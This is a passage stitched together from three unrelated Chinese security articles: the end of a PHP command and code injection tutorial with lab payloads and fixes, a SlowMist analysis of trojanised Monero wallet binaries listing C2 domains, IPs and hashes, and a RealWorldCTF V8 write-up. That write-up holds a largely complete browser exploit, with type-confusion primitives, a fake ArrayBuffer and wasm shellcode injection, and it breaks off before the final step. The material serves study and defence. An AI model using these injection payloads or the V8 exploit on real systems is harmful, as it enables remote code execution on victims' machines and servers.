if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>
抓包看，可以执行成功
### 2.1.5 Code injection Example 1
未做过滤，可以进行闭合触发漏洞。
<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);
?>
[http://192.168.245.131/codeexec/example1.php?name=%22;phpinfo();//](http://192.168.245.131/codeexec/example1.php?name=%22;phpinfo\();//)
### 2.1.6 Code injection Example 2
create_function类似于function test($args){方法代码部分}，然后通过闭合
<?php
class User{
public $id, $name, $age;
function __construct($id, $name, $age){
$this->name= $name;
$this->age = $age;
$this->id = $id;
}
}
require_once('../header.php');
require_once('../sqli/db.php');
$sql = "SELECT * FROM users ";
$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
}
?>
<table class='table table-striped' >
<tr>
<th><a href="example2.php?order=id">id</th>
<th><a href="example2.php?order=name">name</th>
<th><a href="example2.php?order=age">age</th>
</tr>
<?php
foreach ($users as $user) {
echo "<tr>";
echo "<td>".$user->id."</td>";
echo "<td>".$user->name."</td>";
echo "<td>".$user->age."</td>";
echo "</tr>";
}
echo "</table>";
require '../footer.php';
?>
[http://192.168.245.131/codeexec/example2.php?order=id);](http://192.168.245.131/codeexec/example2.php?order=id);)}phpinfo();//
### 2.1.7 Code injection Example 3
preg_replace(pattern,replacement,subject)：搜索subject中匹配pattern的部分，以replacement进行替换；当pattern是/e将会以PHP执行replacement中的代码。
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
[http://192.168.245.131/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer](http://192.168.245.131/codeexec/example3.php?new=phpinfo\()&pattern=/lamer/e&base=Hello%20lamer)
### 2.1.8 Code injection Example 4
仅去除收尾的空白字符，进行闭合即可
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
[http://192.168.245.131/codeexec/example4.php?name=%27.phpinfo();//](http://192.168.245.131/codeexec/example4.php?name=%27.phpinfo\();//)
## 2.2 实战演练
这里使用vulhub一键搭建漏洞测试靶机
### 2.2.1 vulhub安装
使用的系统：kali
（1）安装docker
sudo apt install docker.io
（2）安装docker-compose
pip install docker-compose
（3）查看docker-compose是否安装成功
docker-compose -v 有返回则说明安装成功
（4）下载vulhub
git clone https://github.com/vulhub/vulhub.git
（5）添加国内镜像
修改或创建配置文件
vim /etc/docker/daemon.json
内容格式：
{
"registry-mirrors": ["<your accelerate address>"]
}
常见的国内加速站点（添加其中一个即可）
https://registry.docker-cn.com
http://hub-mirror.c.163.com
https://3laho3y3.mirror.aliyuncs.com
http://f1361db2.m.daocloud.io
https://mirror.ccs.tencentyun.com
添加好之后重启服务
service docker restart
### 2.2.2 Apache SSI 远程命令执行漏洞
在测试任意文件上传漏洞的时候，目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持，我们可以上传一个shtml文件，并利用语法执行任意命令。
service docker start 启动docker
cd httpd/ssi-rce/ 进到靶机环境目录
docker-compose up -d 构建环境
访问kali的ip8080端口
这里我们是无法上传正常的PHP，所以就上传个构造好的shtml文件
<!--#exec cmd="whoami" -->
上传后，访问
### 2.2.3 Discuz 7.x/6.x 全局变量防御绕过导致代码执行
由于php5.3.x版本里php.ini的设置里request_order默认值为GP，导致$_REQUEST中不再包含$_COOKIE，我们通过在Cookie中传入$GLOBALS来覆盖全局变量，造成代码执行漏洞。
cd discuz/wooyun-2010-080723/ 进到靶机环境目录
service docker start 启动docker
docker-compose up -d 构建环境
启动好后，访问<http://your-ip:8080/install/>来安装discuz
数据库地址填写db，数据库名为discuz，数据库账号密码均为root
安装好后随便访问个帖子，并抓包。
把cookie进行替换
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
# 3\. 修复方案
## 3.1 命令执行修复方案
### 3.1.1 尽量少用执行命令的函数或者直接禁用
### 3.1.2 参数值尽量使用引号包括
### 3.1.3 在使用动态函数之前，确保使用的函数是指定的函数之一
### 3.1.4 在进入执行命令的函数/方法之前，对参数进行过滤，对敏感字符进行转义
### 3.1.5 能使用脚本解决的工作，不要调用其他程序处理。尽量少用执行命令的函数，并在disable_functions中禁用
### 3.1.6
对于可控点是程序参数的情况下，使用escapeshellcmd函数进行过滤，对于可控点是程序参数值的情况下，使用escapeshellarg函数进行过滤
### 3.1.7 参数的值尽量使用引号包裹，并在拼接前调用addslashes进行转义
### 3.1.8 对由特定第三方组件引发的漏洞，我们要做的就是及时打补丁，修改安装时的默认配置。
## 3.2 代码执行修复方案
### 3.2.1 能使用json
保存数组、对象就使用json，不要将php对象保存成字符串，否则读取的时候需要使用eval。将字符串转化为对象的过程其实是将数据转化为代码的过程，这个过程很容易出现漏洞，像php的unserialize
导致代码执行、struts2的ognl 命令执行等漏洞都是这个过程导致的。
### 3.2.2 对于必须使用eval 的情况，一定要保证用户不能轻易接触eval
的参数（或用正则严格判断输入的数据格式）。对于字符串，一定要使用单引号包裹可控代码，并再插入前进行addslashes，这样就无法闭合单引号，又因为不是双引号包裹，故不能执行
${} 。
evil('${phpinfo()}')、evil("phpinfo()") 等都不会执行，
evil("${phpinfo()}")、evil(phpinfo())、evil(${@phpinfo()})
都可以执行，因为双引号里面内容会被当作变量解析一次，函数前加 @ 表示执行函数时不报错。
$data = addslashes($data);eval("\$data = deal('$data');");
### 3.2.3 放弃使用preg_replace 的e修饰符，而换用 preg_replace_callback
替代。如果非要使用preg_replace的e模式的话，请保证第二个参数中，对于正则匹配出的对象，用单引号包裹。
### 3.2.4 确保register_globals = off,
若不能自定义php.ini，则应该在代码中控制；其次，熟悉可能造成变量覆盖的函数和方法，检查用户是否能控制变量的来源；最后，养成初始化变量的好习惯。
### 3.2.5 能够往本地写入的函数都需要重点关注，如 file_put_contents(), fwrite(), fputs() 等。
### 3.2.6 在自动化漏洞检测中可以 直接带入类似 ";print(md5(test));$a=" ，匹配返回页面是否有 md5 字符串。
# 4\. 参考文章
<https://www.freebuf.com/column/154670.html>
<https://vulhub.org/#/docs/>
<https://vulhub.org/#/environments/httpd/ssi-rce/>
<https://vulhub.org/#/environments/discuz/wooyun-2010-080723/>
<https://github.com/cnonce/MiscSecNotes/blob/master/命令执行/命令执行.md> | 社区文章 |
**作者：慢雾安全团队**
**公众号：[慢雾分析：门罗币钱包之“狸猫换太子”](https://mp.weixin.qq.com/s?__biz=MzU4ODQ3NTM2OA==&mid=2247484951&idx=1&sn=ad5abff6e0d45aa998a7ecea84aa4f61&chksm=fddd7890caaaf1866951c5b6afb36117eb2c5a4ee804fb126ef1d03f0dbfaea7dbc15deb4c33&mpshare=1&scene=1&srcid=&sharer_sharetime=1574231475237&sharer_shareid=bafb2678ed1f77a340809d0b35c3d277&key=a561a906d89030b7b19069c66e5617f14104b7759e1286100c48112d578c59b2c7f1c2cbb88f7f32acaa8d4ec204ae1153163f406b92f931dadf12e2c41a48ef06fa9dda8d344f3f4364d478458e6854&ascene=1&uin=MzM5ODEzOTY3MQ%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=jSg84JPtsnldzZkXFj9L33ZOdr8afMNz7MmtfiVskKRQKcDDMWU2aP8Mqily%2Bq5B
"慢雾分析：门罗币钱包之“狸猫换太子”")**
昨日，慢雾安全团队监测到 Monero 官方社区和官方 GitHub 出现安全类 issue 提醒，据用户反馈从 Monero 门罗币官网
getmonero.org 下载的 CLI 二进制钱包文件和正常 hash 不一致，疑似被恶意替换！而且用户被盗大概价值 7000 美金的门罗币。
慢雾安全团队第一时间发布预警并进行了相关安全分析与溯源：
在 Reddit 上的反馈地址：
_<https://www.reddit.com/r/Monero/comments/dyfozs/security_warning_cli_binaries_available_on/>_
GitHub 上的讨论地址：
_<https://github.com/monero-project/monero/issues/6151>_
Linux 二进制文件：
用户 nikitasius 提供了能够检索到的恶意二进制文件信息：
_<https://www.reddit.com/r/Monero/comments/dyfozs/security_warning_cli_binaries_available_on/>_
此二进制文件是有以下属性的 ELF 文件：
MD5：d267be7efc3f2c4dde8e90b9b489ed2a
SHA-1：394bde8bb86d75eaeee69e00d96d8daf70df4b0a
SHA-256：ab9afbc5f9a1df687558d570192fbfe9e085712657d2cfa5524f2c8caccca31
File type：ELF
Magic: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, from 'x)', not stripped
File size: 27.63 MB (28967688 bytes)
对比合法文件和此 ELF 文件时，我们发现文件大小有所不同，并添加了一些新功能代码，如：
cryptonote :: simple_wallet :: send_seed
在打开或创建新钱包后会立即调用此功能，进行如下图所示的操作：
私钥将会被发送到：node.hashmonero.com
cryptonote :: simple_wallet :: send_to_cc
该功能会将数据发送到 CC 或 C2（命令控制服务器）服务器，从而窃取用户资产。
使用向该 C2 服务器发送 HTTP POST 请求，将资金相关敏感信息发送到以下恶意 C2：
node.xmrsupport.co45.9.148.65
从分析来看，似乎并没有创建任何其他文件或文件夹，只是窃取私钥并试图从钱包中盗走资产。
Windows 二进制文件:
C2 服务器45.9.148.65 还具有以下属性：
MD5: 72417ab40b8ed359a37b72ac8d399bd7
SHA-1: 6bd94803b3487ae1997238614c6c81a0f18bcbb0
SHA-256: 963c1dfc86ff0e40cee176986ef9f2ce24fda53936c16f226c7387e1a3d67f74
File type: Win32 EXEMagic: PE32+ executable for MS Windows (console) Mono/.Net assembly
File size: 65.14 MB (68302960 bytes)
Windows 版实际上与 Linux 版有相同的功能: 窃取私钥和钱包资产。
只是函数名称不同而已，例如
_ZN10cryptonote13simple_wallet9send_seedERKN4epee15wipeable_stringE
如果你有使用防火墙或代理（硬件或软件），请验证是否有网络流量与以下域名、IP发生连接：
node.hashmonero.com
node.xmrsupport.co
45.9.148.65
91.210.104.245
删除此文中列出的所有二进制文件；
验证 Monero 安装程序或安装程序文件的 hash 值。
针对初学者： _<https://src.getmonero.org/resources/user-guides/verification-windows-beginner.html>_
高级用法： _<https://src.getmonero.org/resources/user-guides/verification-allos-advanced.html>_
注意：哈希列表位于： _<https://web.getmonero.org/downloads/hashes.txt>_
什么是哈希？哈希是唯一的标识符。这可以是一个文件、一个单词等，最好使用 SHA256 哈希进行文件检查。
你还可以使用以下 Yara 规则来检测恶意或受感染的二进制文件：
Monero_Compromise.yar
下载 Yara（和文档）： _<https://github.com/VirusTotal/yara>_
## 建议
安装杀毒软件，并尽可能使用防火墙（免费或付费的都行）；
如果已经在使用防病毒软件：使用 Monero（或其他矿工）时，最好不要在防病毒软件中排除特定的文件夹，如果需要，请在验证 hash 值之后再使用；
重置你的种子或帐户；
如何重置帐户： _<https://web.getmonero.org/resources/user-guides/restore_account.html>_
使用助记词恢复钱包： _<https://monero.stackexchange.com/questions/10/how-can-i-recover-a-wallet-using-the-mnemonic-seed>_
监视你的帐户/钱包，确认没有恶意交易。如果有，随时联系门罗团队以获取支持。
请删除并下载最新版本： _<https://web.getmonero.org/downloads/>_
门罗官方团队声明：
Warning: The binaries of the CLI wallet were compromised for a short time：
_<https://web.getmonero.org/2019/11/19/warning-compromised-binaries.html>_
慢雾团队提醒：
针对供应链攻击，鉴于开发、运维人员安全意识不足等问题，慢雾安全团队很久之前已经预见了这类攻击的可能性，Monero
不是第一个受到攻击的加密货币或钱包，也不可能是最后一个受到攻击的加密货币或钱包。
所以请官方人员注意自身账户安全，请使用强密码，并且一定尽可能使用 MFA（或2FA），时刻保持安全意识；针对各类应用程序有可用新版本更新时注意验证 hash
值。
有问题可以第一时间邮件联系慢雾安全团队 [email protected]
附：
Domain Name: xmrsupport.co
Registry Domain ID: D9E3AC179ACA44FE4B81F274517F8F47E-NSR
Registrar WHOIS Server: whois.opensrs.net
Registrar URL: www.opensrs.com
Updated Date: 2019-11-14T16:02:52Z
Creation Date: 2019-11-14T16:02:51Z
IP HISTORY for hashmonero.com
45.9.148.65 from 2019-11-15 to 2019-11-17
91.210.104.245 from 2019-11-19 to 2019-11-19
## 感谢
nikitasius 提供的样本
binaryFate from:
_<https://www.reddit.com/r/Monero/comments/dyfozs/security_warning_cli_binaries_available_on/>_
bartblaze from:
_<https://bartblaze.blogspot.com/2019/11/monero-project-compromised.html>_
* * * | 社区文章 |
# 从RealWorldCTF Quals 2019 - accessible学习V8对property access的优化
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00前言
从一题学习v8引擎对property access的相关JIT优化
## 0x01 前置知识
### 简介
在js中，字典类型的键称为属性(property)，如下，dict是一个对象，其中a是它的一个属性
var dict = {a:"haivk",b:"hai"};
当你要访问a时，首先是从这个对象里面查找键的内容a，找到后从中取出其对应的值。
### 优化
#### 空间优化
假如有多个具有相同键的对象，其排列顺序也一样，那么可以不必为每一个对象都存储这些键的值，单独存储一份键的模板，我们称之为`Shape`，比如上述的dict其键模板为
a
b
然后每个对象只需要保存一份键模板的指针即可，这样就节省了大量的空间。
运行如下的代码，并打印JIT代码
var obj = {a:"haivk",b:"hai"};
function opt(o){
o.b = 1.1;
o.a = 2.2;
return o.b;
}
for(var i = 0; i < 0x20000; i++){
opt(obj);
}
发现生成的JIT代码如下(部分)
0x38af000851a2 c2 48b88d2c2d08af380000 REX.W movq rax,0x38af082d2c8d ;; object: 0x38af082d2c8d <HeapNumber 1.1>
0x38af000851ac cc 48bf158c1408af380000 REX.W movq rdi,0x38af08148c15 ;; object: 0x38af08148c15 <Object map = 0x38af0830745d>
0x38af000851b6 d6 89470f movl [rdi+0xf],rax
0x38af000851b9 d9 49c7c00000fcff REX.W movq r8,0xfffc0000
0x38af000851c0 e0 4c23c7 REX.W andq r8,rdi
0x38af000851c3 e3 41f6400804 testb [r8+0x8],0x4
0x38af000851c8 e8 0f8533020000 jnz 0x38af00085401 <+0x321>
0x38af000851ce ee 49b87d2c2d08af380000 REX.W movq r8,0x38af082d2c7d ;; object: 0x38af082d2c7d <HeapNumber 2.2>
0x38af000851d8 f8 4489470b movl [rdi+0xb],r8
0x38af000851dc fc 49c7c10000fcff REX.W movq r9,0xfffc0000
0x38af000851e3 103 4c23cf REX.W andq r9,rdi
0x38af000851e6 106 41f6410804 testb [r9+0x8],0x4
0x38af000851eb 10b 0f85cc010000 jnz 0x38af000853bd <+0x2dd>
0x38af000851f1 111 4c8bc9 REX.W movq r9,rcx
可以发现，这里直接用数组下标寻址的方式进行了属性的赋值和访问
movl [rdi+0xf],rax
movl [rdi+0xb],r8
#### Inline Caches (ICs)
如果要多次访问字典类型的数据，那么查找键的时间耗费是比较大的，因此v8引擎使用了一种叫`Inline Caches
(ICs)`的机制来缓解这种查找的时间耗费。假如有如下函数
function (obj) {
return obj.a;
}
如果要调用该函数对同一个对象进行多次访问，那么可以将该函数里的访问过程进行优化，即不必再从查找键开始，将该键对应的数据缓存下来，这样下次访问时先校验，然后直接从缓存中加载。如下，我们对同一个对象进行了多次访问
var obj = {a:"haivk",b:"hai"};
function opt(o){
return o.b;
}
for(var i = 0; i < 0x20000; i++){
opt(obj);
}
print(opt(obj));
对应的JIT代码如下（部分）
0x12f100084fd7 117 b81e000000 movl rax,0x1e
0x12f100084fdc 11c 48bee1302c08f1120000 REX.W movq rsi,0x12f1082c30e1 ;; object: 0x12f1082c30e1 <NativeContext[243]>
0x12f100084fe6 126 49ba00b91ce0007f0000 REX.W movq r10,0x7f00e01cb900 (LoadGlobalICTrampoline) ;; off heap target
0x12f100084ff0 130 41ffd2 call r10
0x12f100084ff3 133 49c7c503000000 REX.W movq r13,0x3
0x12f100084ffa 13a e841f00b00 call 0x12f100144040 ;; deopt-soft deoptimization bailout
可以看到最后一个print调用时，直接使用`LoadGlobalICTrampoline`函数从缓存中加载了数据，而不必再从对象中查找。
与`LoadGlobalICTrampoline`对应函数是`StoreGlobalICTrampoline`，可以将数据保存到缓存中。
## 0x02 漏洞分析
### patch点分析
patch文件如下
diff --git a/src/compiler/access-info.cc b/src/compiler/access-info.cc
index 0744138..1df06df 100644
--- a/src/compiler/access-info.cc
+++ b/src/compiler/access-info.cc
@@ -370,9 +370,11 @@ PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
// The field type was cleared by the GC, so we don't know anything
// about the contents now.
}
+#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
descriptor));
+#endif
if (descriptors_field_type->IsClass()) {
// Remember the field map, and try to infer a useful type.
Handle<Map> map(descriptors_field_type->AsClass(), isolate());
@@ -384,15 +386,17 @@ PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
}
// TODO(turbofan): We may want to do this only depending on the use
// of the access info.
+#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldTypeDependencyOffTheRecord(map_ref, descriptor));
+#endif
PropertyConstness constness;
if (details.IsReadOnly() && !details.IsConfigurable()) {
constness = PropertyConstness::kConst;
} else {
map_ref.SerializeOwnDescriptor(descriptor);
- constness = dependencies()->DependOnFieldConstness(map_ref, descriptor);
+ constness = PropertyConstness::kConst;
}
Handle<Map> field_owner_map(map->FindFieldOwner(isolate(), descriptor),
isolate());
可以看到，patch文件通过`#if`和`#endif`将两处`unrecorded_dependencies.push_back(dependencies()->FieldTypeDependencyOffTheRecord(map_ref,
descriptor));`给注释掉了，并且`constness =
PropertyConstness::kConst;`将`constness`设为了`PropertyConstness::kConst`
从源码中的注释
> // Store is not safe if the field type was cleared.
我们可以知道，字典对象的`property`的类型是很重要的，并且在程序中会被保存到`unrecorded_dependencies`容器里，而patch正是patch掉了这个操作，除了`Double`和`SMI`类型的对象，其他的对象的类型都不会被push到`unrecorded_dependencies`，`unrecorded_dependencies`最终包装给一个对象，然后返回
return PropertyAccessInfo::DataConstant(
zone(), receiver_map, std::move(unrecorded_dependencies), field_index,
details_representation, field_type, field_owner_map, field_map,
holder);
为了方便追踪，我们用gdb动态调试，设置断点，然后运行文章开始的示例脚本
b AccessInfoFactory::ComputeDataFieldAccessInfo
此时，`unrecorded_dependencies`是空的
然后return到`js-heap-broker.cc`里的`GetPropertyAccessInfo`函数里
接着继续最终,来到`js-native-context-specialization.cc`里的`FilterMapsAndGetPropertyAccessInfos`函数
然后来到`js-native-context-specialization.cc`里的`ReduceNamedAccess`，发现这里有引用到`dependencies()`，打印其值，是一个容器，内容为空
到这里，发现使用`access_info.receiver_maps`来`BuildCheckMaps`
跟进`BuildCheckMaps`函数，来到`property-access-builder.cc`里
void PropertyAccessBuilder::BuildCheckMaps(
Node* receiver, Node** effect, Node* control,
ZoneVector<Handle<Map>> const& receiver_maps) {
HeapObjectMatcher m(receiver);
if (m.HasValue()) {
MapRef receiver_map = m.Ref(broker()).map();
if (receiver_map.is_stable()) {
for (Handle<Map> map : receiver_maps) {
if (MapRef(broker(), map).equals(receiver_map)) {
dependencies()->DependOnStableMap(receiver_map);
return;
}
}
}
}
.........................................................
跟进`DependOnStableMap(receiver_map);`函数
387 void CompilationDependencies::DependOnStableMap(const MapRef& map) {
388 if (map.CanTransition()) {
► 389 RecordDependency(new (zone_) StableMapDependency(map));
390 } else {
391 DCHECK(map.is_stable());
392 }
393 }
如果`map.CanTransition()`成立，就会修改`property`的类型
继续跟踪，来到`graph-reducer.cc`里的`GraphReducer::Reduce`函数
85 auto skip = reducers_.end();
86 for (auto i = reducers_.begin(); i != reducers_.end();) {
87 if (i != skip) {
88 tick_counter_->DoTick();
89 Reduction reduction = (*i)->Reduce(node);
► 90 if (!reduction.Changed()) {
91 // No change from this reducer.
92 } else if (reduction.replacement() == node) {
93 // {replacement} == {node} represents an in-place reduction. Rerun
94 // all the other reducers for this node, as now there may be more
95 // opportunities for reduction.
### poc构造
从上述的分析可知，如果`DependOnStableMap(receiver_map);`里的`map.CanTransition()`不成立，那么`property`的类型就不会被改变，由于`const
MapRef&
map`参数来自`access_info.receiver_maps()`，而`access_info`里的部分数据来自`unrecorded_dependencies`，而由于patch的原因，某些类型不会加入到`unrecorded_dependencies`了，那么意味着一些原本该进行类型转换的操作将不会进行。
首先构造
var obj = {a:"haivk",b:"hai"};
function opt(o){
return o.a;
}
for(var i = 0; i < 0x20000; i++){
opt(obj);
}
obj.a = 1.1;
print(opt(obj));
发现不能造成类型混淆，其JIT代码如下（部分）
0x23565c142c38 118 49b971404c31240e0000 REX.W movq r9,0xe24314c4071 ;; object: 0x0e24314c4071 <String[#1]: a>
0x23565c142c42 122 4151 push r9
0x23565c142c44 124 49b931024ab11e080000 REX.W movq r9,0x81eb14a0231 ;; object: 0x081eb14a0231 <HeapNumber 1.1>
0x23565c142c4e 12e 4151 push r9
0x23565c142c50 130 48bbb00d6ce27c7f0000 REX.W movq rbx,0x7f7ce26c0db0 ;; external reference (Runtime::SetNamedProperty)
0x23565c142c5a 13a b803000000 movl rax,0x3
0x23565c142c5f 13f 488b75a8 REX.W movq rsi,[rbp-0x58]
0x23565c142c63 143 49bac0a02fe37c7f0000 REX.W movq r10,0x7f7ce32fa0c0 (CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit) ;; off heap target
0x23565c142c6d 14d 41ffd2 call r10
主要是在执行`obj.a =
1.1;`的时候没有使用优化的方法，而是使用`SetNamedProperty`的普通js方法来进行赋值，那么就不会触发到漏洞点。那么，我们在`{}`里再包含一个`{}`试试
var obj = {a:{b:"haivk"}};
function opt(o){
return o.a.b;
}
for(var i = 0; i < 0x20000; i++){
opt(obj);
}
obj.a = {b:2.2};
print(opt(obj));
仍然没有发生类型混淆，查看JIT代码
0x3b6d7cc2dfe 19e 48b991c2313f02140000 REX.W movq rcx,0x14023f31c291 ;; object: 0x14023f31c291 <String[#5]: print>
0x3b6d7cc2e08 1a8 48b8000000000e000000 REX.W movq rax,0xe00000000
0x3b6d7cc2e12 1b2 4c8bc6 REX.W movq r8,rsi
0x3b6d7cc2e15 1b5 49baa0792d89ab7f0000 REX.W movq r10,0x7fab892d79a0 (LoadGlobalICTrampoline) ;; off heap target
0x3b6d7cc2e1f 1bf 41ffd2 call r10
其中opt函数优化为如下，可以看到其被优化为了数组寻址的方法
0x3e95ea042b5b 3b 55 push rbp
0x3e95ea042b5c 3c 4889e5 REX.W movq rbp,rsp
0x3e95ea042b5f 3f 56 push rsi
0x3e95ea042b60 40 57 push rdi
0x3e95ea042b61 41 4883ec08 REX.W subq rsp,0x8
0x3e95ea042b65 45 488975e8 REX.W movq [rbp-0x18],rsi
0x3e95ea042b69 49 493b65e0 REX.W cmpq rsp,[r13-0x20] (external value (StackGuard::address_of_jslimit()))
0x3e95ea042b6d 4d 0f8630000000 jna 0x3e95ea042ba3 <+0x83>
0x3e95ea042b73 53 488b5510 REX.W movq rdx,[rbp+0x10]
0x3e95ea042b77 57 f6c201 testb rdx,0x1
0x3e95ea042b7a 5a 0f8449000000 jz 0x3e95ea042bc9 <+0xa9>
0x3e95ea042b80 60 48b9b9a6cc430b0e0000 REX.W movq rcx,0xe0b43cca6b9 ;; object: 0x0e0b43cca6b9 <Map(HOLEY_ELEMENTS)>
0x3e95ea042b8a 6a 48394aff REX.W cmpq [rdx-0x1],rcx
0x3e95ea042b8e 6e 0f8541000000 jnz 0x3e95ea042bd5 <+0xb5>
0x3e95ea042b94 74 488b5217 REX.W movq rdx,[rdx+0x17]
0x3e95ea042b98 78 488b4217 REX.W movq rax,[rdx+0x17]
0x3e95ea042b9c 7c 488be5 REX.W movq rsp,rbp
0x3e95ea042b9f 7f 5d pop rbp
考虑到是`ICS`缓存机制的原因，`o.a.b`的类型被缓存，因此存入`1.1`时仍然是以`HOLEY_ELEMENTS`的方式将`1.1`打包为`HeapNumber`，存为了对象，那么我们尝试这样修改
var obj = {a:{b:"haivk"}};
function opt(o){
return o.a.b;
}
for(var i = 0; i < 0x20000; i++){
opt(obj);
}
//修改点
obj.a = {c:2.2};
print(opt(obj));
上述，我们改了
obj.a = {c:2.2};
即将a改成了另一个`Shape`形的字典对象，然后调试，可以发现，这回因为没有缓存的原因，`obj.a = {c:2.2};`是以`unboxed
double`的形式将数据写入
而`opt`函数仍然能够访问`obj.a.c`是因为opt被优化为了`数组寻址`的方式，并且opt中仅比较了`obj.a`的类型是否合法，而没有比较`obj.a.b`的类型
0x1c8800bc2b80 60 48b9b9a678b713050000 REX.W movq rcx,0x513b778a6b9 ;; object: 0x0513b778a6b9 <Map(HOLEY_ELEMENTS)>
0x1c8800bc2b8a 6a 48394aff REX.W cmpq [rdx-0x1],rcx
0x1c8800bc2b8e 6e 0f8541000000 jnz 0x1c8800bc2bd5 <+0xb5>
0x1c8800bc2b94 74 488b5217 REX.W movq rdx,[rdx+0x17]
0x1c8800bc2b98 78 488b4217 REX.W movq rax,[rdx+0x17]
0x1c8800bc2b9c 7c 488be5 REX.W movq rsp,rbp
0x1c8800bc2b9f 7f 5d pop rbp
继续运行，发现发生了类型混淆，1.1被当成一个对象地址，然后取出了一个对象
由此，我们可以构造如下两个原语
function addressOf(obj) {
var obj1 = {a:{b:1.1}};
let f = eval(`(obj1)=>{
return obj1.a.b;
}`);
for (var i=0;i<0x20000;i++) {
f(obj1);
}
obj1.a = {c:obj};
var addr = f(obj1);
return u64f(addr) - 1n;
}
function fakeObject(addr) {
var obj2 = {x:{y:buf}};
let f = eval(`(obj2)=>{
return obj2.x.y;
}`);
for (var i=0;i<0x20000;i++) {
f(obj2);
}
obj2.x = {z:i2f64(addr + 0x1n)};
return f(obj2);
}
### 注意事项
由于`ICS`缓存机制的原因，上述两个原语仅能使用`一次`，因为调用后，里面的字典对象相关信息会被缓存，因此想要多次利用的话，需要构造多个原语函数，并且每个函数里的字典对象的key互不相同，这里，我们也可以看到，在`addressOf`里面，我们用的是`var
obj1 = {a:{b:1.1}};`，而在fakeObj里面，我们用的是`var obj2 = {x:{y:buf}};`
## 0x03 漏洞利用
本题的v8版本为`7.9.33`，在低版本中，还没有`compression
pointer（指针压缩）`机制，因此`addressOf`可以直接泄露出8字节地址，然后利用fakeObj伪造一个`ArrayBuffer`实现任意地址读写，由于没有关闭`wasm`，我们可以利用任意地址读写，修改wasm的shellcode，然后执行wasm就可以执行到我们的shellcode。
<!DOCTYPE html>
<html>
<body>
<script>
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}
function addressOf(obj) {
var obj1 = {a:{b:1.1}};
let f = eval(`(obj1)=>{
return obj1.a.b;
}`);
for (var i=0;i<0x20000;i++) {
f(obj1);
}
obj1.a = {c:obj};
var addr = f(obj1);
return u64f(addr) - 1n;
}
function addressOf1(obj) {
var obj1 = {e:{f:1.1}};
let f = eval(`(obj1)=>{
return obj1.e.f;
}`);
for (var i=0;i<0x20000;i++) {
f(obj1);
}
obj1.e = {g:obj};
var addr = f(obj1);
return u64f(addr) - 1n;
}
function fakeObject(addr) {
var obj2 = {x:{y:buf}};
let f = eval(`(obj2)=>{
return obj2.x.y;
}`);
for (var i=0;i<0x20000;i++) {
f(obj2);
}
obj2.x = {z:i2f64(addr + 0x1n)};
return f(obj2);
}
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var faker = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var faker_addr = addressOf(faker);
print('faker_addr='+faker_addr.toString(16));
wasm_shellcode_ptr_addr = addressOf1(wasmInstance) + 0x80n;
var element_addr = faker_addr - 0x50n;
print('element_addr=' + element_addr.toString(16));
//fake a ArrayBuffer's Map
faker[0] = i2f64(0n);
faker[1] = i2f64(0x1900042317080808n);
faker[2] = i2f64(0x00000000084003ffn);
faker[3] = i2f64(0);
//faker a ArrayBuffer
faker[4] = i2f64(element_addr+0x1n); //map
faker[5] = i2f64(0); //properties
faker[6] = i2f64(0); //elements
faker[7] = p64f(0xffffffff,0); //length
faker[8] = i2f64(wasm_shellcode_ptr_addr);
faker[9] = 0x2;
var arb_ArrayBuffer = fakeObject(element_addr+0x20n);
var adv = new DataView(arb_ArrayBuffer);
